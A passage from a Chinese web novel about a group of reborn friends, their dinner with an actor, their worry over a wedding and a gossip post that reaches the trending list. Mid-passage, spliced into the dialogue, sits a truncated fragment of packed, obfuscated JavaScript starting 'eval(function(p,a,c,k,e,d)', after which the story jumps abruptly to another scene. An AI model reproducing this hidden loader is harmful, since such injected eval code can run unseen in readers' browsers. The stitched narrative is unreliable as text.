江跃:“是啊,人在不同阶段会有不同的想法。我现在很想要慢下来,身体不如从前,没必要那么拼。” 常好好:“我特别能理解。身体才是最重要的,以前我拼了命的拍戏,每天过得稀里糊涂,到最后人处在麻木的状态,脑子时而清醒时而被蒙住,感受不到一丝幸福感。” 陆颂给他们二人足够的空间,等到关键时刻,适时地加入到谈话中,开始他的强项。 凌枫和安燃知道今天这顿饭的主要目的,没有插话和打扰。 眼看时间快到了,江翊提出大合影。 饭吃完没多久,江跃便跟着另一桌的助理和团队的人离开。 江翊翻看手机里的图片,目光聚焦在常好好和凌枫身上,抬眼悄悄瞄了一眼二人,嘴角勾了勾,默默把图片传给常好好。 收到消息,常好好手指默默放大照片,嘴角微微抽了抽。 图片里,凌枫的脑袋朝她倾斜,两个人非常贴近。 “安燃昨晚跟我说了你们之间的真实关系。”江翊忽然出声。 常好好怔住。 她困惑的想,真实关系?哪一层真实关系? 见他们沉默,江翊继续道:“说实话,原本今天我想……”她把话憋了回去,“总之,祝您们幸福。” 常好好了然。 看来安燃说出了她和凌枫结婚,却没提到假结婚的情况。 安燃背部往后靠,疯狂朝她眨眼。 常好好嘴角微扯,顺着江翊的话闲聊几句。 饭局结束,安燃先送江翊回家。然后不嫌累,特意返回凌枫家里参与每周一次的例会。 “说吧!” 看见安燃进来,常好好开门见山地问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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按照他们之前顺出来的逻辑分析,假如成世泽这一世放弃对吴妍新和她孩子的调查,或许真的可以避开上一世的结果。 但一切只是猜测。 沈骁率先发言:“我们没必要太纠结,依我看成世泽基本上渡过了难关,除非重生前的凶手不是吴妍新。” “眼下除了吴妍新,貌似没有其他可能。”苏淼道。 张韧陷入短暂的思考,郑重地说:“不能百分百压在吴妍新一个人身上。” “没错。”凌枫面色严肃,提议道,“世泽婚礼前一周和婚礼当天是我们重点需要关注的节点。” 成世泽与陈舒悦的婚礼时间刚巧在上一世成世泽出事后第三天。 陆颂和安燃没有出声。安燃不擅长脑力活动,全神贯注地听着大家的讨论,陆颂则垂头沉思,不知道想些什么。 苏淼是屋子里最放松的人,小手从斜挎包包里掏出一把折叠梳,旁若无人地梳起她亲自捡的一刀切短发。 梳子从头顶梳至发尾。 苏淼享受得轻眯眼睛:“真累,好在进展顺利。” 沈骁两眼放光,一眨不眨地盯着苏淼的长发,“羡慕你,头发长得真快,也就十个月吧,都快长到胸前了。” 安燃看着她们,手捂在胸口处,不断大喘气:“我羡慕你们两个,心态不是一般的好,这几天我都没睡好觉,生怕婚礼出岔子。” 成世泽与陈舒悦的婚礼顺利举行完毕。 重生小分队里的所有人都松了一口气。 常好好抽了抽嘴角,目光望着沈骁和苏淼。 何止心态好,她们俩当伴娘的人比她精神状态都饱满,体格子真好,都不累的吗? 不愧是练过的人,就是不一样。 “卧槽!”沈骁忽地来个一嗓子。 苏淼手一抖,梳子差点没拿住,挑了挑眉问道:“你一惊一乍的干嘛?” 沈骁手指速度飞快,不断地刷着手机屏幕,激动得差点咬到舌头,“你们快看微博热搜!” 大概是注意力高度集中,常好好早没有了力气。 她没精力陪他们闹,费了九牛二虎之力好不容易爬起来,懒洋洋地躺在椅子里处于放空状态。 苏淼超级了解沈骁的性子,怕没人理她,她持续“发疯”,赶紧凑过头去瞄了一眼。 定睛看了一会儿,语气带着嫌弃:“狗仔技术太差,拍的什么玩意?没本人好看,感觉把好好整个人拍扁了。” “这是重点吗?重点是好好上热搜第一了。”沈骁嘴里一顿嘀咕,“要不说红不红是命呢,好好退圈又怎样,咱不是照样能上热搜第一位?” 安燃扫了一圈照片,见没有自己的身影,也不失落,一屁股坐回原位,“重点不是好好,是江跃。他得罪谁了,明显被人盯上。” 人仨聊得起劲,常好好本不想听奈何三个人里有两个大嗓门。 越听越不对,有她又有江跃? 她没忍住,手臂微微用力,支撑着坐起来。